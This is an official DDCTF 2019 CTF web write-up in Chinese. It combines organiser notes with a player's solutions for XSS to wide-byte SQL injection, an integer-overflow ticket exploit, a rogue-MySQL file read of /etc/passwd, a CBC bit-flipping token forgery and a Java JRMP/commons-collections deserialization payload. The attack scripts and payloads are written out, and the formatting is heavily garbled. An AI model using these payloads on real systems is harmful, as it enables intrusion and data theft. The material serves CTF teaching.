【知识库】DDCTF2019官方Write Up——Web篇(二)

百家 作者:滴滴安全应急响应中心 2019-04-27 06:10:40

官方writeup公布时间线



Web作者:cl0und

成都信息工程大学/大三/Web Top1


文章目录

Web? Write Up(所有题目均含出题人解析)

0x05 :欢迎报名DDCTF

0x06 :大吉大利,今晚吃鸡~

0x07 :mysql弱口令

0x08 :再来1杯Java


0x01 :滴~(见第一篇)

0x02 :WEB 签到题(见第一篇)

0x03 :Upload-IMG(见第一篇)

0x04 :homebrew event loop(见第一篇)

05

欢迎报名DDCTF

这道题目其实比较简单,题目一开始是一个报名页面,很多同学可能会尝试注入,注入失败后,应该能想到XSS。事实上点击提交后弹出框框,也是一种隐形的提示,这里XSS的目的不是获取cookie,而是查看源码。源码中有一个隐藏的API接口,这个接口存在宽字节注入漏洞,而且可以根据GBK也能想到宽字节注入。事实上这个题目,使用Beaf和Sqlmap,即可轻松解决。一方面考察了选手的基本能力,另一方面,也考察了选手对一些常用工具的灵活运用。

--------------选手Write Up--------------

题目链接:http://117.51.147.2/Ze02pQYLf5gGNyMn/

之前一直各种测sql注入没反应,后来祭出了万能poc,发现是xss

App"/>6lsz939vedevmdegkun2wnzb52bszh.burpcollaborator.ne?t/">
'${9*9}[!--+*)(&

用在线xss平台可以打到后台网页源码,页面源码中泄漏了一个接口。

http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id
=1

当时一直卡在这里,遍历了id没反应,用xss测试之前发现的几个页面也没有发现(知道本题结做完 ? ? ? 我都不知道login.php干嘛的)。后来等到提示说是注入,注意到泄露的这个接返回的 content-

type 是gbk,猜测这里是宽子节注入,手测没测出来,试试sqlmap的神秘力量。

inject.txt

GET?/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%df*?HTTP/1.1?Host:?117.51.147.2
User-Agent:?Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10.14;?rv:66.0)?Gecko/2?0100101?Firefox/66.0
Accept:?text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8?Accept-Language:?en-US,en;q=0.5
Accept-Encoding:?gzip,?deflate
Referer:?http://117.51.147.2/Ze02pQYLf5gGNyMn/?Connection:?close
Upgrade-Insecure-Requests:?1

sqlmap跑一波

python?sqlmap.py?-r?inject.txt?--level?3

最后dump字段的时候sqlmap忽然开始盲注了,为了尽快做出来直接用sqlmap的payload手注了一

06

大吉大利,今晚吃鸡~

?出题思路

本题来自于某个thrif版本在golang和java通信时 整数溢出导致精度丢失的问题,期望选手可以思考一下golang的订单系统 和java的支付系统之间的调用逻辑.


官方write_up

?一开始这题我给的是150分~因为作为我个人来说 我还是更期望 大部分选手能成功拿到分数,也期待看到多种不同的解法,所以在上线的时候 修改一些逻辑(比如注册,之前的预设是在ddctf平台直接给参数跳转),另外 部署在mysql同一台服务器 也是故意希望参赛选手可以通过任意文件读取 读一下代码 看看出题人真正想看到什么样的 write_up,不过很可惜的是,参赛选手上交的writeup 并没有出现出题人希望看到的解法,并且一致抱怨跑脚本看运气~


?官方预设解法

?1、通过int32整数溢出 获得ticket,通过md5 hash扩展攻击,通过删除自己的回显破解出key的长度,最后通过md5 hash扩展攻击移除机器人

?2、通过mysql那道题 读取源码拿到flag (并不是bug)

3、通过批量注册遍历hash值解题。

4、通过越权直接读参赛选手的get_ticket接口解题。

解题思路很多,一开始以为大部分人会按照给的提示用hash扩展的方法先把题目解了,再去想其他办法~没想到最后收到的write up如出一辙

--------------选手Write Up--------------

题目链接:http://117.51.147.155:5050/index.html#/login

经过测试订单的钱可以改只要大于1000就可以,最后购买的时候在处理32-64位之间的整数时,会取到低32位。凭票入场之后就是吃鸡战场,每一个入场的选手都会又一个id和ticket,输入别人的就可以让人数减一。手快不如工具快,老汉能把青年赛,放脚本批量注册小号批量杀就可以了。

import?requests?import?json?import?time?import?uuid?import?hashlib

proxies?=?{'http':'127.0.0.1:8080'}

def?create_md5():?m=hashlib.md5()
m.update(bytes(str(time.time())))?return?m.hexdigest()

def?register_pay():

session?=?requests.Session()
paramsGet?=?{"name":create_md5(),"password":create_md5()}?print(paramsGet)
headers?=?{"Accept":"application/json","User-Agent":"Mozilla/5.0?(Maci?ntosh;?Intel?Mac?OS?X?10.14;?rv:66.0)?Gecko/20100101?Firefox/66.0","Refere?r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La?nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip,?deflate"}
response?=?session.get("http://117.51.147.155:5050/ctf/api/register",?params=paramsGet,?headers=headers,?proxies=proxies)

time.sleep(0.5)

print(session.cookies)
#print("Status?code:????%i"?%?response.status_code)?#print("Response?body:?%s"?%?response.content)
paramsGet?=?{"ticket_price":"4294967296"}
headers?=?{"Accept":"application/json","User-Agent":"Mozilla/5.0?(Maci?ntosh;?Intel?Mac?OS?X?10.14;?rv:66.0)?Gecko/20100101?Firefox/66.0","Refere?r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La?nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip,?deflate"}
response?=?session.get("http://117.51.147.155:5050/ctf/api/buy_ticket"
,?params=paramsGet,?headers=headers,?proxies=proxies)

time.sleep(0.5)
#print("Status?code:????%i"?%?response.status_code)?#print("Response?body:?%s"?%?response.content)

headers?=?{"Accept":"application/json","User-Agent":"Mozilla/5.0?(Maci?ntosh;?Intel?Mac?OS?X?10.14;?rv:66.0)?Gecko/20100101?Firefox/66.0","Refere?r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La?nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip,?deflate"}
response?=?session.get("http://117.51.147.155:5050/ctf/api/search_bill
_info"
,?headers=headers,?proxies=proxies)?#?print(response.text)

bill_id?=?json.loads(response.text)['data'][0]["bill_id"]

time.sleep(0.5)
#print("Status?code:????%i"?%?response.status_code)?#print("Response?body:?%s"?%?response.content)

paramsGet?=?{"bill_id":bill_id}
headers?=?{"Accept":"application/json","User-Agent":"Mozilla/5.0?(Maci?ntosh;?Intel?Mac?OS?X?10.14;?rv:66.0)?Gecko/20100101?Firefox/66.0","Refere?r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La?nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip,?deflate"}
response?=?session.get("http://117.51.147.155:5050/ctf/api/pay_ticket"
,?params=paramsGet,?headers=headers,?proxies=proxies)?#print("Status?code:????%i"?%?response.status_code)?#print("Response?body:?%s"?%?response.content)?time.sleep(0.5)
headers?=?{"Accept":"application/json","Cache-Control":"max-age=0","Us?er-Agent":"Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10.14;?rv:66.0)?Gecko/20?100101?Firefox/66.0","Referer":"http://117.51.147.155:5050/index.html","Co?nnection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gz?ip,?deflate"}
response?=?session.get("http://117.51.147.155:5050/ctf/api/search_tick?et",?headers=headers,?proxies=proxies)

#print("Status?code:????%i"?%?response.status_code)?#print("Response?body:?%s"?%?response.content)?#print(response.text)
id?=?json.loads(response.text)['data'][0]['id']
ticket?=?json.loads(response.text)['data'][0]['ticket']?print(id,?ticket)
return?id,ticket

def?kill(id,?ticket):?time.sleep(0.5)
session?=?requests.Session()

paramsGet?=?{"ticket":ticket,"id":id}
headers?=?{"Accept":"application/json","User-Agent":"Mozilla/5.0?(Maci?ntosh;?Intel?Mac?OS?X?10.14;?rv:66.0)?Gecko/20100101?Firefox/66.0","Refere?r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La?nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip,?deflate"}
cookies?=?{"REVEL_SESSION":"3b2bacbee8fb18e1b1457171b422999d","user_na?me":"cl0und"}
response?=?session.get("http://117.51.147.155:5050/ctf/api/remove_robo?t",?params=paramsGet,?headers=headers,?cookies=cookies)

print("Status?code:????%i"?%?response.status_code)?print("Response?body:?%s"?%?response.content)


if???name?????==?'?main?':?while?True:

try:


id,?ticket?=?register_pay()?kill(id,?ticket)?time.sleep(0.5)

except?Exception?as?e:?print?e

杀完之后就有?ag



06

大吉大利,今晚吃鸡~ 非预期解法

赛后看了其他师傅的wp,发现有些师傅以为这道考的是golang的整形溢出+批量kill小号,其实看到出题人的源码之后才知道。出题人是用python(?ask)模拟了一个golang整形溢出的web环境,并且 ? ? 吃鸡战场的本意是想考hash长度扩展攻击(心情复杂.jpg)。发现这点原因是通过读mysql那道题的 .bash_history 可以发现出题人把这两道题放在同一台服务器上的。

?

实际读一下,可以发现web2对应的是mysql题


web1对应的是吃鸡题


在/home/dc2user/ctf_web_1/web_1/app/main/views.py 可以把部分主干代码都读出来(工具问题,换个工具应该可以读全),这里已经有可以看到?ag了

#?coding=utf-8

from?flask?import?jsonify,?request,redirect?from?app?import?mongodb
from?app.unitis.tools?import?get_md5,?num64_to_32
from?app.main.db_tools?import?get_balance,?creat_env_db,?search_bill,?secr?ity_key,?get_bill_id
import?uuid
from?urllib?import?unquote?mydb?=?mongodb.db
flag?=?'''DDCTF{chiken_dinner_hyMCX[n47Fx)}'''

def?register():

result?=?[]
user_name?=?request.args.get('name')?password?=?request.args.get('password')

if?not?user_name?or?not?password:
response?=?jsonify({"code":?404,?"msg":?"参数?能为空",?"data":?[]})?return?response
if?not?len(password)>=8:
response?=?jsonify({"code":?404,?"msg":?"密码必须大于等于8位",?"data"
:?[]})
return?response
else:
hash_val?=?get_md5(user_name,?'DDCTF_2019')



name}):

if?not?mydb.get_collection('account').find_one({'user_name':?user_

mydb.get_collection('account').insert_one({'user_name':?user_n

ame,?'password'?:password,?'balance':?100,

l,?'flag':?'test'})


'hash_val':?hash_va




result})

tmp_result?=?{'user_name':?user_name,?'account':?100}?result.append(tmp_result)
response?=?jsonify({"code":?200,?"msg":?"用户注册成功",?"data":

response.set_cookie('user_name',?user_name)?response.set_cookie('REVEL_SESSION',?hash_val)?response.headers['Server']?=?'Caddy'
return?response



[]})

else:
response?=?jsonify({"code":?404,?"msg":?"用户已存在",?"data":

response.set_cookie('user_name',?user_name)?response.set_cookie('REVEL_SESSION',?hash_val)?response.headers['Server']?=?'Caddy'
return?response


def?login():

result?=?[]
user_name?=?request.args.get('name')?password?=?request.args.get('password')

if?not?user_name?or?not?password:
response?=?jsonify({"code":?404,?"msg":?"参数?能为空",?"data":?[]})?return?response
if?not?mydb.get_collection('account').find_one({'user_name':?user_nam?e}):


lt})

response?=?jsonify({"code":?404,?"msg":?"该用户未注册",?"data":?resu

return?response

if?not?password?==?mydb.get_collection('account').find_one({'user_nam?e':?user_name})['password']:
response?=?jsonify({"code":?404,?"msg":?"密码错误",?"data":?resul

t})


return?response?else:
hash_val?=?mydb.get_collection('account').find_one({'user_name':?u

ser_name})['hash_val']
response?=?jsonify({"code":?200,?"msg":?"登陆成功",?"data":?resul

t})


response.set_cookie('user_name',?user_name)?response.set_cookie('REVEL_SESSION',?hash_val)?response.headers['Server']?=?'Caddy'
return?response


def?get_user_balance():?result?=?[]
user_name?=?request.cookies.get('user_name')?hash_val?=?request.cookies.get('REVEL_SESSION')?if?not?user_name?or?not?hash_val:
response?=?jsonify({"code":?404,?"msg":?"您未登陆",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response
else:
str_md5?=?get_md5(user_name,?'DDCTF_2019')?if?hash_val?==?str_md5:
balance?=?get_balance(user_name)?bill_id????=?get_bill_id(user_name)
tmp_dic?=?{'balance':?balance?,?'bill_id':?bill_id}?result.append(tmp_dic)
return?jsonify({"code":?200,?"msg":?"查询成功",?"data":?resul

t})


else:
return?jsonify({"code":?404,?"msg":?"参数错误",?"data":?[]})


def?buy_ticket():

result?=?[]
user_name?=??request.cookies.get('user_name')?hash_val?=?request.cookies.get('REVEL_SESSION')?ticket_price?=?int(request.args.get('ticket_price'))?if?not?user_name?or?not?hash_val?or?not?ticket_price:
response?=?jsonify({"code":?404,?"msg":?"参数错误",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response

str_md5?=?get_md5(user_name,?'DDCTF_2019')?if?hash_val?!=?str_md5:
response?=?jsonify({"code":?404,?"msg":?"登陆信息有误",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response

if?ticket_price?< ?1000:
response?=?jsonify({"code":?200,?"msg":?"ticket门票价格为2000",?"da?ta":?[]})
response.headers['Server']?=?'Caddy'?return?response
if?search_bill(user_name):?tmp_list?=?[]
bill_tmp?=?{'bill_id':?search_bill(user_name)}?tmp_list.append(bill_tmp)
response?=?jsonify({"code":?200,?"msg":?"请支付未完成订单",?"data":
tmp_list})
response.headers['Server']?=?'Caddy'?return?response
else:
#?生成uuid?保存订单
hash_id?=?str(uuid.uuid4())
tmp_dic?=?{'user_name':?user_name,?'ticket_price':?ticket_price,?'bill_id':?hash_id}
mydb.get_collection('bill').insert_one(tmp_dic)?result.append({'user_name':?user_name,?'ticket_price':?ticket_pric
e,?'bill_id':?hash_id})
response?=?jsonify({"code":?200,?"msg":?"购买门票成功",?"data":?resu

lt})


response.headers['Server']?=?'Caddy'?return?response


def?search_bill_info():?result?=?[]
user_name?=?request.cookies.get('user_name')?hash_val?=?request.cookies.get('REVEL_SESSION')?if?not?user_name?or?not?hash_val:
response?=?jsonify({"code":?404,?"msg":?"您未登陆",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response
else:
str_md5?=?get_md5(user_name,?'DDCTF_2019')?if?hash_val?==?str_md5:
tmp?=?mydb.get_collection('bill').find_one({'user_name':?user_

name})


esult})


if?not?tmp:
return?jsonify({"code":?200,?"msg":?"?存在订单",?"data":?r

bill_id?=?tmp['bill_id']?user_name?=user_name
bill_price?=?tmp['ticket_price']
tmp_dic?=?{'user_name':?user_name,?'bill_id':?bill_id,?'bill_p

rice'
:?bill_price}
result.append(tmp_dic)
return?jsonify({"code":?200,?"msg":?"查询成功",?"data":?resul

t})


else:
return?jsonify({"code":?404,?"msg":?"参数错误",?"data":?[]})




def?recall_bill():

result?=?[]
user_name?=?request.cookies.get('user_name')?hash_val?=?request.cookies.get('REVEL_SESSION')?bill_id?=?request.args.get('bill_id')
if?not?user_name?or?not?hash_val:
response?=?jsonify({"code":?404,?"msg":?"参数?能为空",?"data":?[]})?response.headers['Server']?=?'Caddy'
return?response

str_md5?=?get_md5(user_name,?'DDCTF_2019')?if?hash_val?!=?str_md5:
response?=?jsonify({"code":?404,?"msg":?"登陆信息有误",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response

tmp?=mydb.get_collection('bill').find_one({'bill_id':?bill_id})?if?not?tmp:
response?=?jsonify({"code":?404,?"msg":?"订单号?存在",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response
if?tmp['user_name']?!=?user_name:
response?=?jsonify({"code":?404,?"msg":?"订单号?存在",?"data":?[]})?response.headers['Server']?=?'Caddy'
return?response?else:
mydb.get_collection('bill').delete_one({'bill_id':?bill_id})?tmp_result?=?{'user_name':?tmp['user_name'],?'bill_id':?tmp['bill_
id'
],?'ticket_price':?tmp['ticket_price']}?result.append(tmp_result)
response?=?jsonify({"code":?200,?"msg":?"订单已取消",?"data":?resul

t})


response.headers['Server']?=?'Caddy'?return?response



def?pay_ticket():

result?=?[]
user_name?=?request.cookies.get('user_name')?hash_val?=?request.cookies.get('REVEL_SESSION')?bill_id?=?request.args.get('bill_id')
if?not?user_name?or?not?hash_val?or?not?bill_id:
response?=?jsonify({"code":?404,?"msg":?"参数?能为空",?"data":?[]})?response.headers['Pay-Server']?=?'Apache-Coyote/1.1'
response.headers['X-Powered-By']?=?'?Servlet/3.0'?return?response

str_md5?=?get_md5(user_name,?'DDCTF_2019')

if?hash_val?!=?str_md5:
response?=?jsonify({"code":?404,?"msg":?"登陆信息有误",?"data":?[]})?response.headers['Pay-Server']?=?'Apache-Coyote/1.1'?response.headers['X-Powered-By']?=?'?Servlet/3.0'
return?response
tmp_obj?=?mydb.get_collection('bill').find_one({'bill_id':bill_id})?if?not?tmp_obj:
response?=?jsonify({"code":?404,?"msg":?"订单信息有误",?"data":?[]})
response.headers['Pay-Server']?=?'Apache-Coyote/1.1'?response.headers['X-Powered-By']?=?'?Servlet/3.0'?return?response
tmp_price?=?mydb.get_collection('bill').find_one({'user_name':?user_na?me})['ticket_price']
tmp_bill_uuid?=?mydb.get_collection('bill').find_one({'bill_id':?bill_?id})['bill_id']
price?=?num64_to_32(tmp_price)
tmp_account?=?mydb.get_collection('account').find_one({'user_name':?us?er_name})['balance']
if?tmp_bill_uuid?==?bill_id:?if?tmp_account?>=?price:
if?mydb.get_collection('user_env').find_one({'user_name':?user
_name}):
tmp?=?mydb.get_collection('user_env').find_one({'user_nam
e'
:?user_name})['user_info_list']
for?item?in?tmp:
if?item['user_name']?==?user_name:?result.append(item)
else:
pass
response?=?jsonify({"code":?200,?"msg":?"已购买ticket",

"data":?result})


response.headers['Pay-Server']?=?'Apache-Coyote/1.1'?response.headers['X-Powered-By']?=?'?Servlet/3.0'

return?response?else:
account?=?tmp_account?-?price?mydb.get_collection('account').update_one({'user_name':?us
er_name},?{'$set':?{'balance':?account}},



d})

upsert=True)?mydb.get_collection('bill').delete_one({'bill_id':?bill_i

tmp_info?=?creat_env_db(user_name)?mydb.get_collection('user_env').insert_one(tmp_info[0])?tmp_result?=?{'your_ticket':?tmp_info[1]['hash_val'],?'you

r_id'
:?tmp_info[1]['id']}
result.append(tmp_result)
response?=?jsonify({"code":?200,?"msg":?"交?成功",?"data":

result})



else:


response.headers['Pay-Server']?=?'Apache-Coyote/1.1'?response.headers['X-Powered-By']?=?'?Servlet/3.0'?return?response


[]})



else:

response?=?jsonify({"code":?200,?"msg":?"余额?足",?"data":

response.headers['Pay-Server']?=?'Apache-Coyote/1.1'?response.headers['X-Powered-By']?=?'?Servlet/3.0'?return?response

response?=?jsonify({"code":?200,?"msg":?"订单信息有误",?"data":?[]})?response.headers['Pay-Server']?=?'Apache-Coyote/1.1'?response.headers['X-Powered-By']?=?'?Servlet/3.0'
return?response

def?is_login():
user_name?=?request.cookies.get('user_name')?hash_val?=?request.cookies.get('REVEL_SESSION')?if?not?user_name?or?not?hash_val:
response?=?jsonify({"code":?404,?"msg":?"参数?能为空",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response

str_md5?=?get_md5(user_name,?'DDCTF_2019')?if?hash_val?!=?str_md5:
response?=?jsonify({"code":?404,?"msg":?"登陆信息有误",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response
response?=?jsonify({"code":?200,?"msg":?"您已登陆",?"data":?[]})
return?response


def?search_ticket():?result?=?[]
user_name?=?request.cookies.get('user_name')?hash_val?=?request.cookies.get('REVEL_SESSION')?if?not?user_name?or?not?hash_val:
response?=?jsonify({"code":?404,?"msg":?"参数?能为空",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response

str_md5?=?get_md5(user_name,?'DDCTF_2019')?if?hash_val?!=?str_md5:
response?=?jsonify({"code":?404,?"msg":?"登陆信息有误",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response

tmp?=?mydb.get_collection('user_env').find_one({'user_name':?user_nam
e})

if?not?tmp:
response?=?jsonify({"code":?404,?"msg":?"你还未获取入场券",?"data":

[]})


response.headers['Server']?=?'Caddy'?return?response

if?tmp:
tmp_dic?=?{'ticket':?tmp['player_info']['hash_val'],?'id':?tmp['pl?ayer_info']['id']}
result.append(tmp_dic)
response?=?jsonify({"code":?200,?"msg":?"ticket信息",?"data":?resu

lt})


response.headers['Server']?=?'Caddy'?return?response



def?remove_robot():

result?=?[]?sign_str?=?''
user_name?=?request.cookies.get('user_name')?hash_val?=?request.cookies.get('REVEL_SESSION')?a?=??request.environ['QUERY_STRING']?params_list?=?[]
for?item?in?a.split('&'):?k,?v?=?item.split('=')
params_list.append((k,?v))

user_id?=?request.args.get('id')?ticket?=?request.args.get('ticket')

if?not?user_name?or?not?hash_val?or?not?user_id?or?not?ticket:?response?=?jsonify({"code":?404,?"msg":?"参数错误",?"data":?[]})?response.headers['Server']?=?'Caddy'
return?response

#?if?not?str.isdigit(user_id):
#????return?jsonify({"code":?0,?"msg":?"参数错误",?"data":?[]})

str_md5?=?get_md5(user_name,?'DDCTF_2019')?if?hash_val?!=?str_md5:
response?=?jsonify({"code":?404,?"msg":?"登陆信息有误"


读一下tools.py可以看到出题人费劲心机模拟golang,看样子也是想考hash长度扩展攻击的


#!/usr/bin/env?python
#?-*-?coding:?utf-8?-*-
#?@Time????:?2/1/2019?10:47?PM
#?@Author????:?fz?#?@Site????:
#?@File????:?tools.py?#?@Software:?PyCharm

import?decimal?import?datetime?import?types?import?hashlib

from?flask.json?import?JSONEncoder?from?urllib?import?unquote
from?urllib?import?quote_plus
secrity_key?=?'Winner,?winner,?chicken?dinner!'?def?pretty_floats(obj):
if?isinstance(obj,?float)?or?isinstance(obj,?decimal.Decimal):?return?round(obj,?2)
elif?isinstance(obj,?dict):
return?dict((k,?pretty_floats(v))?for?k,?v?in?obj.iteritems())?elif?isinstance(obj,?(list,?tuple)):
return?map(pretty_floats,?obj)?return?obj


#?空值变为0
def?pretty_data(obj):
if?isinstance(obj,?types.NoneType)?or?obj?==?"":?return?0
elif?isinstance(obj,?dict):
return?dict((k,?pretty_data(v))?for?k,?v?in?obj.iteritems())?elif?isinstance(obj,?(list,?tuple)):
return?map(pretty_data,?obj)?return?obj

class?CustomJSONEncoder(JSONEncoder):?def?default(self,?obj):
try:


ime.date):

if?isinstance(obj,?datetime.datetime)?or?isinstance(obj,?datet

encoded_object?=?obj.strftime('%Y-%m-%d')?return?encoded_object
iterable?=?iter(obj)

except?TypeError:?pass
else:
return?list(iterable)
return?JSONEncoder.default(self,?obj)


#
def?percent_div(up,??down):?if?up?==?0?or?up?is?None:
return?0
try:
return?round((up?/?down)?*?100,?2)
except?ZeroDivisionError:?return?0

#
def?num64_to_32(num):

str_num?=??bin(num)?if?len(str_num)?>?66:
return?False
if?34?< ?len(str_num)?66:?str_64?=?str_num[-32:]?result?=?int(str_64,?2)?return?result
if?len(str_num)?< ??34:?result?=?int(str_num,?2)?return?result
#
def?get_md5(string,?secret_key):?m?=?hashlib.md5()?m.update(secret_key+string)?return?m.hexdigest()


if???name?????==?"?main?":

print?get_md5('id137',?'Winner,?winner,?chicken?dinner!')?print?get_md5('id80',?secrity_key)
str?=?unquote('id80%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0?0%00%00%00%00%18%01%00%00%00%00%00%00id51')
str_new?=?secrity_key?+?str?print?str_new
print?('''id80x80x00x00x00x00x00x00x00x00x00x00x00x00x00
x00x00x00x00x00x00x00x18x01x00x00x00x00x00x00id51'''
)?print?quote_plus('''
'''
)

07

mysql弱口令

出题思路

本题思路是源于某次蓝军工作反攻扫描器的思路~ 本题本来预设的分数是200,所以一般设定为了解了mysql 任意文件读取的即可获得分数。

/* 本题出现了未预期解法,通过读.mysql_history,从而不需要去拿到路径这是预期之外的解法*/


官方write_up

1、通过读 .bash_history 拿到文件路径,获得提示,读取数据库文件拿到flag

2、提示最多的解法竟然没有人发现。。。curl的本地ssrf打mysql。

例子:

http://117.51.147.155:5000/ctf/api/weak_scan?target_ip=150.109.106.49&target_port=3306

--------------选手Write Up--------------

题目链接:http://117.51.147.155:5000/index.html#/scan

题目的逻辑大概是,在vps运行agent.py,这个服务器会列出vps上的进程信息,然后在题目页面输入自己mysql的端口号,扫描器会先来访问agent.py监听端口check是否会有mysqld进程,如果有那 ? 么进行弱口令测试。

?

这种反击mysql扫描器的思路感觉之前已经被出过很几次了,最早看到的中文分析文章是lightless师???? 傅的这篇

https://lightless.me/archives/read-mysql-client-?le.html

具体的工具可以参看这篇https://www.freebuf.com/vuls/188910.html 打一个poc

set?mysql.server.infile?/etc/passwd;?mysql.server?off;?mysql.server?on;

读取三种常见的history .bash_history (这里有个非预期后面会讲), .vim_history ,

.mysql.history 。

mysql历史里面有?ag

08

再来1杯Java

本题思路是基于现在广泛使用的`Spring Boot`框架抽象提取的业务场景。考点`Padding Oracle`出题失误,把明文显示出来了,造成选手直接构造CBC翻转攻击的独特解法,很赞。`反序列化漏洞`的考点,本来想去掉SerialKiller工具里面关于`JRMP`防护部分,题目测试时候发现可以直接绕过,也就没改、加大了难度。考察漏洞攻击理解的同时,通过限制命令执行操作,着重考察了同学们的Java编程能力。做出题目的2位同学用的思路都不一样,都很棒。希望做过这道题目的同学能够从中学到一些知识,而不执著于题目本身。

--------------选手Write Up--------------


题目链接:

116.85.48.104 c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com

在 /api/account_info 可以看到权限信息

bae64解密token可以看到token的提示是 oracle padding cbc


这里思路应该是通过padding oracle把 roleAdmin 改为true,具体思路是使用精心构造的iv控制第一段解密出的明文,用第二段密文控制第三段明文内容,中间的脏字符从第一段和第三段明文中匀出 ? ? ? ? ?双引号包裹,大概样子如下图。

这种思路下其实还是超长了,当时想的苟一苟把true改成1,结果就可以了(java不是强类型吗?是

fastjson的问题?),脚本如下

from?Crypto.Util.strxor?import?strxor?from?base64?import?*
import?requests
#pip?install?pycrypto


def?xor(a,?b):
return?chr(ord(a)^ord(b))

def?get_source_code(url,?cipher):?session?=?requests.Session()?session.cookies['token']?=?cipher?web?=?session.get(url)
return?web.text

url?=?'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/acco?unt_info'

str?=?'UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF'

token?=?b64decode(str)


iv?=?token[:16]?C1?=?token[16:32]?C2?=?token[32:]
raw_iv?=?'PadOracle:iv/cbc'

json?=?'{"id":100,"roleAdmin":false}'?D_C1?=?strxor(json[:16],?raw_iv)


cipher?=?strxor(strxor(iv,?json[:16]),?'{"roleAdmin":1,"')+C1+strxor(strxo?r(C2,?strxor(D_C1,?C2)),?'":"1","id":001}'+chr(1))+C1
cipher?=?b64encode(cipher)
state?=?get_source_code(url,?cipher)?print?state
print?cipher

抓包改一下即可来到管理员界面

其中1.txt给了一些hint

同时?lename存在任意文件读取漏洞,跑一下常见路径可以拿到一份源码泄漏

审计一下代码可以看到虽然项目使用的是有漏洞的commons-collections并且还存在一个明显的反 ? ?序列化点,不过不幸的是在反序列化之前用SerialKiller对反序列化出来的类做了黑名单处理。

?

一开始的思路是用最近出的工具gadget-inspector.jar自动化寻找新的gadget,但是没有找到。。。

等到中午的时候官方放了提示说是利用 jrmp ,在先知上找到一片文章Weblogic JRMP反序列化漏洞回顾,在CVE-2018-?那里作者给出了一个payload我发现稍微改一下打到服务器那边就会有反应。

import?com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingE?xception;
import?sun.rmi.server.UnicastRef;?import?sun.rmi.transport.LiveRef;
import?sun.rmi.transport.tcp.TCPEndpoint;

import?javax.management.remote.rmi.RMIConnectionImpl_Stub;?import?javax.naming.ConfigurationException;
import?java.io.ByteArrayOutputStream;?import?java.io.IOException;
import?java.io.ObjectOutputStream;?import?java.rmi.server.ObjID;?import?java.util.Random;

public?class?Poc?{
public?static?void?main(String[]?args)?throws?IOException,?ClassNotFou?ndException,?ConfigurationException,?Base64DecodingException?{

String?host;?int?port;?host?=?"ip";?port?=?1099;

ObjID?id?=?new?ObjID(new?Random().nextInt());?//?RMI?registry?TCPEndpoint?te?=?new?TCPEndpoint(host,?port);
UnicastRef?ref?=?new?UnicastRef(new?LiveRef(id,?te,?false));?RMIConnectionImpl_Stub?stub?=?new?RMIConnectionImpl_Stub(ref);




t);

ByteArrayOutputStream?out?=?new?ByteArrayOutputStream();?ObjectOutputStream?objectOutputStream?=?new?ObjectOutputStream(ou

objectOutputStream.writeObject(stub);


System.out.println(java.util.Base64.getEncoder().encodeToString(ou?t.toByteArray()).toString());
}
}

服务器监听可以成功接受到请求


下面要做的就是用ysoserial开一个jrmp监听,把真正的payload回传给服务器。虽然构造用的

gadget是走commons-collections但是这里不过serialkiller所以不会被拦截。因为之前提示说过这个


环境不能执行命令,所以需要自己在ysoserial中自定义个一个反射链,随风师傅博客中提到的

classloder方案

最后代码如下

package?ysoserial.payloads;

import?org.apache.commons.collections.Transformer;
import?org.apache.commons.collections.functors.ChainedTransformer;?import?org.apache.commons.collections.functors.ConstantTransformer;?import?org.apache.commons.collections.functors.InvokerTransformer;?import?org.apache.commons.collections.keyvalue.TiedMapEntry;
import?org.apache.commons.collections.map.LazyMap;?import?ysoserial.payloads.annotation.Authors;?import?ysoserial.payloads.annotation.Dependencies;?import?ysoserial.payloads.annotation.PayloadTest;?import?ysoserial.payloads.util.JavaVersion;
import?ysoserial.payloads.util.PayloadRunner;?import?ysoserial.payloads.util.Reflections;

import?javax.management.BadAttributeValueExpException;?import?java.lang.reflect.Field;
import?java.util.HashMap;?import?java.util.Map;

/*
Gadget?chain:
ObjectInputStream.readObject()?AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()?AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()?ConstantTransformer.transform()?InvokerTransformer.transform()
Method.invoke()?Class.getMethod()
InvokerTransformer.transform()?Method.invoke()
Runtime.getRuntime()?InvokerTransformer.transform()
Method.invoke()?Runtime.exec()

Requires:
commons-collections
*/
/*
This?only?works?in?JDK?8u76?and?WITHOUT?a?security?manager

https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b?3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
//@PayloadTest(skip="need?more?robust?way?to?detect?Runtime.exec()?without?SecurityManager()")
SuppressWarnings({"rawtypes",?"unchecked"})
